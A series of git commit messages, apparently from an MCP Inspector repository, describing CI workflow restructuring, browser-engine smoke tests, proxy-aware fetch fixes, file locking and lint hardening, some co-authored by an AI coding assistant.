Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, second review — both findings were real:
- A `${{ … }}` body can itself contain braces, so the `[^}]*\}\}` arm added in
the previous round stopped at the first `}` and missed
`smoke:web:${{ format('{0}', matrix.browser) }}` — the very case it was
added for. It now keys off the `${{` prefix, which nesting cannot defeat.
- Scanning every non-comment line made ordinary metadata a finding:
`name: Explain why smoke:web:firefox stays local` executes nothing and was
reported as an engine invocation, contradicting the header's "what it
forbids, and nothing more". The scan now walks executable positions only —
`run:` scalars (inline and block) and `env:`/`with:` values — via an
exported `extractExecutableRegions`, hand-rolled because `test:scripts` is
dependency-free by design. The narrowing is a stated limit, not a hidden
one: an execution vector outside those three positions is not seen.
Verified by injecting a nested-brace SMOKE_BROWSER expression into the real
main.yml — the suite fails, and goes green again when removed.
Signed-off-by: Cliff Hall <cliff@futurescale.com>
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot, first review:
- The guard read only literal names, so `npm run smoke:web:${{ matrix.browser }}`
and `npm run local:${{ matrix.task }}` walked past it — the one form in which
a forbidden engine reaches CI without anyone typing its name. It already
refused an expression-valued SMOKE_BROWSER for that exact reason; this applies
the reasoning consistently. Its limit is now stated: a fully opaque
`npm run ${{ matrix.script }}` names no family and is not detectable.
- The module header claimed the gate adds "the non-Chromium engine passes";
it adds Firefox only, and WebKit belongs to neither tier.
- eslint.config.js:33 still said `npm run ci` — the last stale reference.
- AGENTS.md read "everything from `smoke` rightward is `local:gate` only",
which is two claims wrong: smoke and Storybook run in GitHub CI too, and
`pack:verify` is in neither tier.
Signed-off-by: Cliff Hall <cliff@futurescale.com>
Signed-off-by: cliffhall <cliff@futurescale.com>
The root `ci` script was never what runs in GitHub CI, and the name worked
against us three ways: it collides with the built-in `npm ci` (which does
something else entirely and is one keystroke away), it invites the
cross-engine passes into a workflow by looking like the thing a workflow
should call, and it blurs "GitHub CI" and "the local gate" in every doc
that names it.
- Rename `ci` → `local:gate` and `ci:storybook` → `local:storybook`, with
no back-compat alias: `npm run ci` now fails with npm's missing-script
error, which prints the available scripts.
- Add `scripts/lib/workflow-gate.mjs` + its `test:scripts` suite, which
runs over the repo's real `.github/workflows/**` and fails on an
invocation of a `local:*` script, of a non-Chromium engine pass (derived
from SUPPORTED_BROWSERS), or of `smoke:web:engine`, or on `SMOKE_BROWSER`
set to anything but a literal `chromium`. It does not forbid
`npm run smoke`, `smoke:web:chromium` or `smoke:tui` — those belong in CI
and are there today. Comments are not scanned, so the workflow can still
explain itself. This is the durable half; the rest is prose.
- Document the two-tier model once, in the root README ("Two tiers: GitHub
CI and the local gate"), and point the other docs at it rather than
restating the split.
- Sweep the ~40 stale references across README, AGENTS.md,
.github/copilot-instructions.md, the client READMEs, the roadmap doc and
the script headers. AGENTS.md and copilot-instructions.md change
together, per the mirror rule.
No gate changes what it actually runs.
Signed-off-by: Cliff Hall <cliff@futurescale.com>
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all valid.
**The read/get stages asserted an RPC status, not a render.** #2148 asks
for the resource content and the prompt messages to *render*, and
`data-read-status` / `data-get-status` flip the moment the call resolves
— so the smoke stayed green with the panel deleted. `ResourcePreviewPanel`
and `PromptMessagesDisplay` now carry `data-testid="resource-preview"` /
`"prompt-messages"`, and each stage waits on the status **and** the
rendered panel. Verified by breaking each testid: the smoke fails with
`reading `events` did not render a preview — last observed:
data-read-status="ok"`, which is the finding stated back exactly.
**`smoke:web:tabs` followed ambient `SMOKE_BROWSER`**, so
`SMOKE_BROWSER=firefox npm run ci` would have run the supposedly
Chromium-only smoke under Firefox — contradicting both this PR's stated
scope and the gated-tier invariant in `run-engine-smokes.test.mjs`. The
npm script now pins `chromium` on **both** halves (install and launch)
and the smoke resolves through `resolveRequestedBrowser(argv, env)`, where
an explicit argument wins over the environment; a new case in that same
test file pins it, including that the smoke stays out of `ENGINE_SMOKES`.
**The AGENTS rules were not mirrored into `.github/copilot-instructions.md`.**
Correct, and worse than an omission: that file's engine bullet asserts the
headless web smokes are "engine-parameterized, not Chromium-only", which
this PR made false. It now names `smoke:web:tabs` as the deliberate
exception, and carries the genuinely review-citable new rule — assert
`data-*`, never copy, and never stop at an RPC status where the ask was
that something render.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01UL9retfvAXRgvi6EWk4SY4
Signed-off-by: cliffhall <cliff@futurescale.com>
The old name — "Run install, format, lint, build, and test on every push" —
enumerated steps rather than naming the workflow, and was wrong in two
directions: it never mentioned the coverage gate, and "on every push" reads
past the two release-gated publish jobs. `CI` renders as `CI / build` and
`CI / coverage` in the checks list, where the job name already carries the
detail.
Display-only: nothing references the name (no badge, no `workflow_run`, no
sibling workflow), and branch protection keys off JOB names, which are unchanged.
Also: README described the publish jobs as `needs: build`, which the previous
commit falsified.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0177mPHAdECD18nLLCTwR5rh
Signed-off-by: cliffhall <cliff@futurescale.com>
`build` ran `npm run validate` and `npm run coverage` back to back, and on a
recent green run those two steps were 84% of a 17m9s wall clock (7m41 + 6m50).
They are serial for no reason: `coverage` consumes nothing `validate` produces.
Every client's `test:coverage` is self-sufficient — web and cli build the test
servers themselves (cli its own bin too), tui and launcher run from source — and
the only consumers of `clients/*/build` are the smokes, which stay in `build`
alongside the `validate` that produces them.
So split `coverage` into a sibling job. Both publish jobs become
`needs: [build, coverage]`: that is the safety property, not a side effect —
left as `needs: build` a release could publish with the coverage gate red.
Deliberately NOT backgrounding the two inside one job: that puts two vitest
fleets on one 4-core runner, which already times tests out at the 5s default.
Wall clock ~17m -> ~10m, for one extra runner and a duplicated ~24s install.
Splitting `coverage` per client is the next lever and stays out of scope.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0177mPHAdECD18nLLCTwR5rh
Signed-off-by: cliffhall <cliff@futurescale.com>
- pty.mjs: narrow the BSD argv set to {darwin, freebsd}. Grouping every
BSD together was wrong — NetBSD's `script` takes the command through
`-c`, so the argv form fails at `script` startup, which this smoke would
then report as a TUI crash. Rather than add an unverified `-c` branch
for netbsd/openbsd, they fall through to `null` and the smoke skips with
the reason: a guessed invocation turns a clean skip into a false failure
while looking like support.
- pty.test.mjs: "supported unless Windows" would fail `test:scripts` on
aix/sunos/netbsd/openbsd, where a null wrapper is correct and the smoke
skips by design. State the policy once (SUPPORTED_PLATFORMS) and branch
on it, keeping the real-probe teeth that catch a `script` missing from
PATH. Pin netbsd/openbsd/aix/sunos to null in scriptFlavorFor's tests
so "unsupported" reads as the default, not a win32 special case.
- render-smoke.mjs: the @returns contract claimed a close guarantee the
code does not give — both drain give-up branches resolve after only a
warning, so output can be truncated and the child may still hold the
work dir. Document the bounded fallback and name the required cleanup
shape (removeSafe, not rmSync), since a caller "tightening" cleanup on
the old wording would reintroduce #1801 exactly where it doesn't hold.
- AGENTS.md, clients/launcher/README.md: drop the pre-#2111 claim that the
smokes build test-servers "on demand if it is missing". ensureTestServers
rebuilds unconditionally, once per process — presence is not freshness.
- .github/copilot-instructions.md: mirror the survival rule, per the
same-PR mirroring requirement. One bullet, generalized past this fix:
a smoke must assert the thing survives, not that it started, and the
started-then-died branch belongs in a scripts/lib test against a stub.
Signed-off-by: Cliff Hall <cliff@futurescale.com>
Signed-off-by: cliffhall <cliff@futurescale.com>
Dropping the CI job left cross-engine checking as something you had to
remember to run, which in practice means nobody runs it. This moves it
into npm run ci, so it happens once per push, in front of a human who can
still reason about the change -- rather than once per CI run, on every
branch, to re-derive an answer we already had.
scripts/run-engine-smokes.mjs is what makes that possible cross-platform:
SMOKE_BROWSER has to reach three child processes, and a POSIX VAR=x npm
run prefix does not work under Windows cmd.exe, which npm uses there.
Setting it in the child env from Node does. smoke:web:firefox passes the
engine as an ARGUMENT rather than relying on the ambient variable, so a
stray SMOKE_BROWSER cannot silently redirect the gate to another engine
-- verified: an explicit argument beats it.
It also gives the smoke list one home. It was previously an && chain in
package.json beside a second chain in the workflow, so adding a fourth
smoke meant remembering both. ENGINE_SMOKES is now the list, with a test
pinning its contents and its order -- a smoke going missing is invisible
at runtime, because a shorter list is still a passing run.
Firefox only. WebKit fails the App smokes for unidentified reasons and
must not be in a gate.
This makes npm run ci a strict superset of GitHub CI rather than a mirror.
That was already true of smoke:tui, which self-skips on CI; Firefox is the
second such step. The direction that matters still holds: passing
npm run ci locally means CI's gates will pass.
Signed-off-by: cliffhall <cliff@futurescale.com>
The job was trialled and did not earn its place. It was genuinely cheap —
~2 minutes, running in parallel with the 15-minute build job, so zero
added wall-clock — but across a dozen runs Firefox never once disagreed
with Chromium. It was paying runner time and carrying a real flake
surface (playwright install --with-deps runs apt-get update, which fails
whenever a third-party repo in the runner image breaks; that is what the
one red run was) to re-confirm a result already in hand.
Everything that made cross-engine checking possible stays: SMOKE_BROWSER,
the shared headless-browser helper, the installer, and the tests. So
"SMOKE_BROWSER=firefox npm run smoke:web:engine" is there for the moment
it is worth running — before touching the sandbox, the CSP builder or the
proxy page — without taxing every push to re-derive the same answer.
The workflow is now byte-identical to v2/main again; the publish jobs go
back to needing only build.
Docs say what is true rather than what was intended, and AGENTS.md
records the reasoning so the job is not re-added on the general argument
that cross-engine coverage is good — that argument was already accepted,
and the on-demand path is what serves it. Re-add it on evidence: a real
cross-engine regression a gate would have caught.
Also swept the now-stale "matrix" language out of the smokes and the
resolver, including the empty-SMOKE_BROWSER rationale, which no longer
leans on a matrix key that does not exist.
Signed-off-by: cliffhall <cliff@futurescale.com>
#2132 was closed without the investigation going anywhere, so every
'pending #2132' pointer in the tree was about to send a reader to a
closed issue whose own diagnosis had already been retracted.
The docs now say what is actually known, and nothing more: the two App
smokes fail under Playwright's WebKit for unidentified reasons; it does
not reproduce in real Safari; an isolated repro of the suspected
mechanism did not reproduce it under Playwright's WebKit either; and
chasing it further was judged not worth the effort. A reader hitting it
locally is told to treat it as unexplained rather than as a defect.
The matrix decision is unchanged and never depended on the cause — the
engine fails, so it is not gated.
No behavior change.
Signed-off-by: cliffhall <cliff@futurescale.com>
An isolated repro of the mechanism I described — a server writing three
SSE frames then going silent with the connection held open, read via
fetch + getReader — delivers every frame in all three engines, WebKit
included. So 'the SSE stream's last message is not delivered' is not a
supported description of the failure.
The keep-alive experiment that appeared to confirm it was one
observation, and the failure is not even stable in shape: two consecutive
webkit runs failed at different stages (ready wait vs connect wait),
which a deterministic buffering bug would not do.
What is unchanged: the App smokes really do fail under Playwright's
WebKit, which is why the engine stays out of the matrix; that reason
never depended on the mechanism. The parseSSE cross-chunk defect also
stands, being read off the code rather than inferred from an experiment.
No behavior change.
Signed-off-by: cliffhall <cliff@futurescale.com>
#2132 was filed asserting that a Safari user opening an MCP App gets a
permanently 'loading' widget. That was never tested. A manual check in
real Safari renders the App normally, so the claim is unsupported and is
removed from all six places it reached.
The failure under Playwright's WebKit is real and still keeps that engine
out of the CI matrix. What is not established is that any shipping
browser behaves this way — and Playwright ships its own WebKit build
whose networking stack is not Safari's, which is exactly the layer the
failure lives in.
headless-browser.mjs already carried the caveat that a green WebKit run
is not a Safari guarantee. The same sentence forbids the inverse
inference, which is the one that was made; it now says so explicitly, and
AGENTS.md carries the rule: reproduce in the real browser before claiming
user impact in one.
No behavior change.
Signed-off-by: cliffhall <cliff@futurescale.com>
Round 1 fixed the three smoke headers and AGENTS.md but left the same
overstatement in the two files Copilot flagged as previously-missed:
- README said the matrix runs 'the remaining engines', which reads as
Firefox AND WebKit and contradicts the very next paragraph. It now
names the current matrix (Firefox alone) and points at that paragraph.
- The workflow's fail-fast comment cited a WebKit-vs-Firefox scenario the
one-entry matrix cannot produce. It now justifies keeping the flag for
when a second engine returns, matching the AGENTS.md wording.
Swept the whole tree for the remaining variants of the claim; none left.
Addresses the suppressed comments on Copilot's second review of #2133.
Signed-off-by: cliffhall <cliff@futurescale.com>
Every browser-driven check in this repo launched Chromium and nothing else.
That is fine for most of the web client, whose behavior is React and Mantine.
It is not fine for the MCP Apps sandbox, which is built out of the primitives
that genuinely diverge between engines: a CSP <meta> injected as the first
<head> child of a srcdoc document, a nested sandboxed iframe, a
Permissions-Policy allow attribute, and postMessage origin discipline across
those two frames. Nothing else covers that surface — sandbox-csp.test.ts
asserts which policy STRING is built (environment-independent by
construction), and no Storybook story reaches the sandbox at all, since all
three App stories use a data: placeholder iframe and a mock bridge.
The engine is now a parameter:
SMOKE_BROWSER=webkit npm run smoke:web:app
SMOKE_BROWSER=firefox npm run smoke:web:engine # all three smokes
Unset means chromium, so `npm run ci` and `npm run smoke` are unchanged. An
unrecognized value is an error rather than a fallback — falling back would
report a green Chromium run under a job labelled "webkit", claiming coverage
that never ran — and a launch failure names the engine that failed and its own
`playwright install` invocation.
Selection, launching, and the fatal-vs-benign page-diagnostics split now live
in one shared scripts/lib/headless-browser.mjs. The three smokes had each
hand-rolled the diagnostics split and two had their own copy of loadChromium;
pack:verify goes through the same helper, pinned to Chromium explicitly since
it is a packaging check.
The npm scripts drop their `cd clients/web && npx playwright install chromium`
prefix for scripts/install-smoke-browser.mjs. The engine is a variable now, and
a ${VAR:-default} expansion does not expand under Windows' cmd.exe; npx is also
a .cmd shim there that a shell-free spawn cannot start, so this resolves the
Playwright CLI through resolveNodeBin — the #1939 problem solved the #1939 way.
CI gains a `Sandbox smokes (<engine>)` matrix job rather than matrixing `build`,
which also runs validate, the coverage gate, two verify gates and Storybook —
all engine-independent. Both publish jobs now need it.
WebKit is supported by the tooling but deliberately NOT in the CI matrix yet:
pointing the smokes at it immediately found #2132, a pre-existing Safari
incompatibility in the web client's SSE transport that strands the last message
on /api/mcp/events, so an MCP App never leaves "loading". That is a product bug
affecting real Safari users, with its own diagnosis and a verified fix, and it
is not a matrix change. Adding `webkit` here is a one-word diff once it lands.
An engine is either green in CI or absent from it; a continue-on-error job would
report coverage nobody is held to.
Signed-off-by: cliffhall <cliff@futurescale.com>
AGENTS.md requires review-relevant rules to be mirrored into
.github/copilot-instructions.md in the same PR, and that file already
carries a Dependency placement section. Add the distilled form of the
new overrides guidance: use an `overrides` entry rather than
`npm audit fix` when the advisory range has no upward escape inside the
parent's declared range, gate such a pin on the build rather than the
audit, expect the lockfile diff to touch only that package, and say when
the pin can be dropped.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0177mPHAdECD18nLLCTwR5rh
Signed-off-by: cliffhall <cliff@futurescale.com>
Copilot review round 1. The rule at issue is the review-relevant one — a
check that boots the web backend must not touch real user state — and this
PR widens where it applies: pack:verify now navigates that backend, so it
needs the isolation too. Mirrored as one clause rather than a new section.
The rest of the AGENTS.md edit stays unmirrored deliberately: which two
consumers share scripts/lib/mcp-app-flow.mjs is tooling detail nobody cites
against a diff, and AGENTS.md asks the mirror to stay a distillation.
Signed-off-by: cliffhall <cliff@futurescale.com>
Closes#2102
The @claude mention-triggered workflow fired on issue comments, PR review
comments, PR reviews, and issue open/assign, and each trigger now produces
an Actions run that waits for approval. Copilot handles PR review now, so
the workflow no longer earns the surface area it carries: it was the only
job holding ANTHROPIC_API_KEY, granted a tool-enabled agent Bash, and
needed a fork gate plus an untrusted-checkout carve-out to stay safe.
.mcp.json stays — the workflow passed it via --mcp-config, but it is also
the project-level MCP server config the Claude Code CLI reads locally. The
github-actions Dependabot entry stays too, since main.yml still pins
actions by SHA.
Signed-off-by: cliffhall <cliff@futurescale.com>
Addresses the Copilot review on #2099.
- `/api/fetch` used the bare global `fetch`. That route is the browser's only
way out to the network — the web client's `environment.fetch` is
`createRemoteFetch()`, which forwards OAuth discovery and token requests
there — so a corporate-proxy user could connect to a server but never
authorize against it, and the PR's "OAuth is proxied now" claim held for the
CLI and TUI but not for web. It now uses the same proxy-aware base fetch, with
an integration test driving a real forwarding proxy (confirmed failing without
the fix).
- `verify:bundle-externals` only recognized an inlining that produced a
`<pkg>-HASH.js` chunk. A *statically* imported package is folded into
`index.js` and emits no chunk, so it would have passed. Detection now keys off
esbuild's `// <path>` module banners, covering both shapes. Because that
depends on unminified output, a bundle with no banners now fails as such
rather than reporting clean — enabling `minify` cannot silently retire the
check. Tests cover the entry-inlined case, the same-prefix case
(`undici-types` must not read as `undici`), and the no-banner case.
- The pre-push pipeline summaries in AGENTS.md, README.md, and
.github/copilot-instructions.md still described `verify:build-gate → smoke`
and omitted the new gate.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01JTHVxSu8AUgHRLvo1ntZ8H
Signed-off-by: cliffhall <cliff@futurescale.com>
Corporate-proxy users could not connect to any remote MCP server from v2.
Two independent defects, both reported in #2067.
1. The web and TUI bundles inlined undici. It was declared in the root and
`clients/cli` manifests but named in no client's tsup `external` list, and
tsup auto-externalizes only what the *nearest* manifest declares — so
esbuild inlined 1.05MB of it into `clients/{web,tui}/build/`. undici is
CommonJS, so the emitted chunk's `require("assert")` hit esbuild's ESM
`__require` shim and threw `Dynamic require of "assert" is not supported`.
The rejected `import()` surfaced as "the `undici` package is not available",
telling users to install a package that was already present — and could not
have helped, because the specifier had been rewritten to a relative chunk at
build time.
2. `withProxyDispatcher` injected a *userland* undici `EnvHttpProxyAgent` into
Node's *built-in* fetch. That couples two different copies of undici at the
dispatcher handler interface, which is not stable across majors: Node 22
embeds undici 6, Node 24 embeds 7, Node 26 embeds 8. A userland undici 8
agent handed a built-in undici 7 handler is rejected with
`fetch failed: invalid onRequestStart method`, and the request never leaves
the process. So fixing the bundling alone would only have converted the
web/TUI failure into the CLI's.
Both halves of the pair now come from userland undici — its `fetch` and its
`EnvHttpProxyAgent` — which keeps the handler inside one copy and works
unchanged from the Node 22.19 engine floor through Node 26. Deleting the
wrapper in favor of Node's native `NODE_USE_ENV_PROXY` was not an option:
measured, it is unsupported on 22.19 (the floor) and only lands mid-22.x.
Because undici's `Response` is a different class from `globalThis.Response`,
the proxied fetch re-wraps each response as a genuine global `Response`,
streaming preserved. Without that, `res instanceof Response` is false for
callers that test it — including the SDK's OAuth error formatter, which would
degrade every message to `Raw body: [object Response]`.
The proxy now sits at the bottom of the fetch stack (`environment.fetch` for
the Node clients, and the `createTransportNode` default for the web backend,
its one caller that supplies no `fetchFn`) rather than wrapping the transport's
fetch. Proxying means *substituting* the fetch, not decorating one, so wrapping
a supplied `fetchFn` would discard it; installing it underneath lets
InspectorClient's own wrappers compose over it. A side effect worth having:
OAuth discovery and token requests go through `environment.fetch` too, and were
never proxied before.
Guarding it:
- `undici` is added to all three tsup `external` lists and removed from
`clients/cli/package.json`, so it is root-declared only, per the placement
rule in AGENTS.md. The two installs had already drifted (root 8.5.0 vs cli
8.9.0).
- New `npm run verify:bundle-externals` fails if any package a client declares
external was inlined into that client's bundle anyway. It reads the *built
output*, not the config — those two disagreed for four releases — and derives
what to check from each client's own `external` array, so a newly
externalized package is covered without editing the guard. Verified against
the real pre-fix artifact, which it flags.
- The proxy tests now drive a real forwarding proxy rather than a mock. That
matters: defect 2 was a runtime interface mismatch, which no mock can catch
because no mock ever dispatches.
AGENTS.md's must-not-bundle rule (added by #2082) is extended with why undici
slipped past it, and notes the `node -e` trap — probing the bundled chunk with
`node -e` falsely succeeds, because it exposes a global `require` that
satisfies esbuild's guard.
Closes#2067
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01JTHVxSu8AUgHRLvo1ntZ8H
Signed-off-by: cliffhall <cliff@futurescale.com>
`lint` failed only on errors, so a warn-level rule was a channel nothing
consumed. `react-hooks/exhaustive-deps` reported two stale-closure
`useCallback` deps in App.tsx on every run, `npm run ci` passed anyway,
and the defect was caught only by a review round on #2076.
Add `--max-warnings 0` to all six lint scopes — each of
clients/{web,cli,tui,launcher}'s `eslint .`, plus the root's `lint:core`
and `lint:shared` — so a warning fails `lint`, and therefore `validate`
and `ci`. All six were already warning-free, so no suppressions, rule
downgrades, or ignore-list widening were needed.
Also promote `react-hooks/exhaustive-deps` to `error` in both React
scopes (web, tui). The flag makes severity irrelevant to the gate; it
does not make it read correctly in an editor.
Document the invariant in AGENTS.md as a new "Lint has no warning tier"
section, note it in the README beside the type-aware-linting paragraph,
and mirror it into .github/copilot-instructions.md.
Signed-off-by: cliffhall <cliff@futurescale.com>
#1950 shipped FileSecretStore without cross-process mutual exclusion, by
decision: an earlier revision hand-rolled a `mkdir` election with an owner
stamp, a heartbeat and a stale-takeover, and three consecutive review rounds
found a real race in it. The last one is not closable with what Node exposes
— claiming a stale lock atomically needs compare-and-swap on a directory
entry (`renameat2(RENAME_EXCHANGE)`) — so it was replaced with optimistic
verify-and-retry and the residual documented.
#2082 settles that as "borrow, don't hand-roll". `proper-lockfile` is what
npm itself locks with, and stale-takeover is precisely the problem it has
already solved: it re-stats the lock directory after claiming it and gives
the lock up when the mtime is not the one it wrote, so the loser of a
takeover race releases instead of proceeding.
- core/auth/node/file-lock.ts: `withSecretFileLock`. `realpath: false` so a
file can be locked into existence (the very first `set` has no
`secrets.json`, and the library's default resolves through `fs.realpath`);
a warning in place of the library's `onCompromised`, which throws from a
timer and would take the session down; and a degrade-with-one-warning path
rather than a throw when no lock can be taken — this store exists for boxes
missing the usual mechanism (#1848, #1905) and must not gain a new way to
be unavailable.
- FileSecretStore.mutate holds it across the whole read-modify-write. The
optimistic verify stays underneath and is not redundant: a lock is advisory
between the processes that take it, so the verify covers a writer outside
this codebase and covers the degrade path. The in-process queue stays too,
and gains a second job — proper-lockfile is not reentrant, so serializing
per path keeps ELOCKED meaning "another process".
- absorbFileSecretsIntoKeyring takes the same lock around orphan adoption and
the atomic claim, behind a lock-free `readdir` fast path so the common
startup (keychain available, no file ever written) neither creates a lock
directory nor warns about one it could not create.
proper-lockfile is a root `dependency` per the placement rule, and is named
in all three bundler `external` lists: tsup externalizes what the *client's*
manifest declares, so a root-only CJS package was being inlined into the ESM
bundles, leaving esbuild's `Dynamic require of "path" is not supported` shim
that killed `--cli` at import time. That rule was undocumented; it is now in
AGENTS.md beside the placement rule that creates it, and mirrored into
.github/copilot-instructions.md.
Tests: 7 new in file-lock.test.ts driving a real second process (the existing
suite structurally cannot — `serialize` orders in-process callers before the
lock sees them), plus two for the migration fast path.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01JTHVxSu8AUgHRLvo1ntZ8H
Signed-off-by: cliffhall <cliff@futurescale.com>
Code scanning alert 71 (actions/untrusted-checkout/high) has stayed open
against main at the `Checkout PR branch` step — the same step #1966 added
the `is_fork == 'false'` guard to. The rule is syntactic, so it cannot see
that guard, the job-level author_association check, or the repo's
`collaborators_only` fork-PR policy; no hardening around the step clears it
while the step exists.
The step turns out to be redundant anyway. claude-code-action fetches and
checks out the PR branch itself, and its own docs name a bare base-ref
checkout as the preferred pattern — which is what upstream's own claude.yml
does. Our lookup-then-checkout pair is vestigial from the v1 example
workflow inherited in #1869.
So: delete the PR-head checkout, make the base checkout unconditional, and
drop the now-unused `sha` output. The `is_fork` gate on Run Claude Code
stays, and is now the only thing keeping fork code out of the workspace —
the action fetches a cross-repository head via refs/pull/N/head on its own.
Closes#2069
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01JTHVxSu8AUgHRLvo1ntZ8H
Signed-off-by: cliffhall <cliff@futurescale.com>
Adds an AGENTS.md rule under the pre-push gate naming the gated surface
(first-party source) and everything excluded from it (each client's build/,
web's dist/ and storybook-static/, coverage/, test-servers/build,
core/**/{build,dist}, *.tsbuildinfo), why gating generated output is harmful
even when it only warns, and the fact that the three coverage guards assert
the converse and so cannot catch this drift. Mirrored into
.github/copilot-instructions.md per the maintenance rules.
Signed-off-by: cliffhall <cliff@futurescale.com>
A floated promise is invisible at review time — the call reads like an
awaited one minus four characters — and the unhandled rejection it
produces surfaces in a different test, in a different file, as a stack
pointing at SDK internals. In #1947 two un-held `callTool` calls made
`npm run ci` unpassable and took a full investigation to attribute; the
fix was two lines. `@typescript-eslint/no-floating-promises` catches the
class outright, so enable it at `error` everywhere.
The rule is type-aware and `tseslint.configs.recommended` is not, so each
scope's config gains a parser project. The four clients name their own
tsconfig projects (both of them — `src` and `__tests__`/`server` live in
different ones). The root scope has no tsconfig at all, so add
`tsconfig.lint.json`: a lint-only project covering `core/**`,
`test-servers/src/**`, and `vitest.shared.mts`, emitting nothing and
gating nothing. It sets `moduleResolution: bundler` deliberately — under
NodeNext `core/`'s extensionless imports fail to resolve, every import
degrades to `any`, and the rule silently stops seeing promises at all.
Measured surface, and the fixes:
- core (2) — `stream.close()` in two Hono `onAbort` listeners. Hono
invokes subscribers with a bare `subscriber()`, so a promise returned
from the listener is floated one layer up; `closeAbortedStream` owns
the rejection where it can actually be owned.
- tui (5) — `handleDisconnect` had no catch of its own and its only
caller is a key handler that cannot await, so a failing disconnect was
a live unhandled rejection; it now surfaces the message the way
`handleConnect` does. The rest are `void` at callers that genuinely
cannot await, over callees that already own their failures.
- web (92) — 83 are Storybook `expect(...)`, which is instrumented and
returns a promise, now awaited (`scrollAreaStoryAssertions` is async
for the same reason). Two tests were asserting against a provider call
they never awaited. `open(url)` in both web servers now warns instead
of escaping a synchronous callback.
- cli, launcher — already clean.
Type-aware linting costs time: `clients/web`'s `eslint .` goes from ~8s
to ~19s, inside `validate`. Narrowing the loaded projects is the lever if
that needs reducing later; dropping the rule is not.
Closes#1959
Signed-off-by: cliffhall <cliff@futurescale.com>
`verify:dep-lockstep` derived its candidate set from the packages the shared
first-party sources named *directly*, so a package whose declarations reach a
program only through another package's `.d.ts` was invisible to it — it could
skew across installs and recreate the two-copy blow-up #1896 was about while
the guard stayed green. `@modelcontextprotocol/sdk` was the live example: never
written in first-party code, yet 16 of its `.d.ts` files land in clients/web's
test program.
Replace the derivation with the measured one: list every client tsconfig
project with `tsc --listFilesOnly`, map each resolved `node_modules` file to
its owning install and package, and keep the packages that reach ONE program
from TWO installs. That is exactly the set that can put two structurally
distinct copies of a type in front of one checker. The rest of the guard is
unchanged — top-level lockfile comparison, deny-by-default, `TOLERATED_SKEW` as
a name allowlist scoped to within-a-major.
The listing machinery moves to `scripts/lib/tsc-program.mjs`, shared with
`verify:typecheck-coverage`, so the two guards can't disagree about what a
program contains. It is deliberately not cached to disk between the two
processes: a stale fingerprint would make a guard measure a program that no
longer exists and pass on a real miss. The second pass costs ~14s.
`TOLERATED_SKEW` is now empty. `jose` and `@modelcontextprotocol/ext-apps` are
root-only since #1970 and cannot skew; `react` (whose types are `@types/react`,
resolved from one install) and `hono` never reach one program from two
installs. Each would be a rationale for a skew that cannot occur.
Closes#1965
Signed-off-by: cliffhall <cliff@futurescale.com>
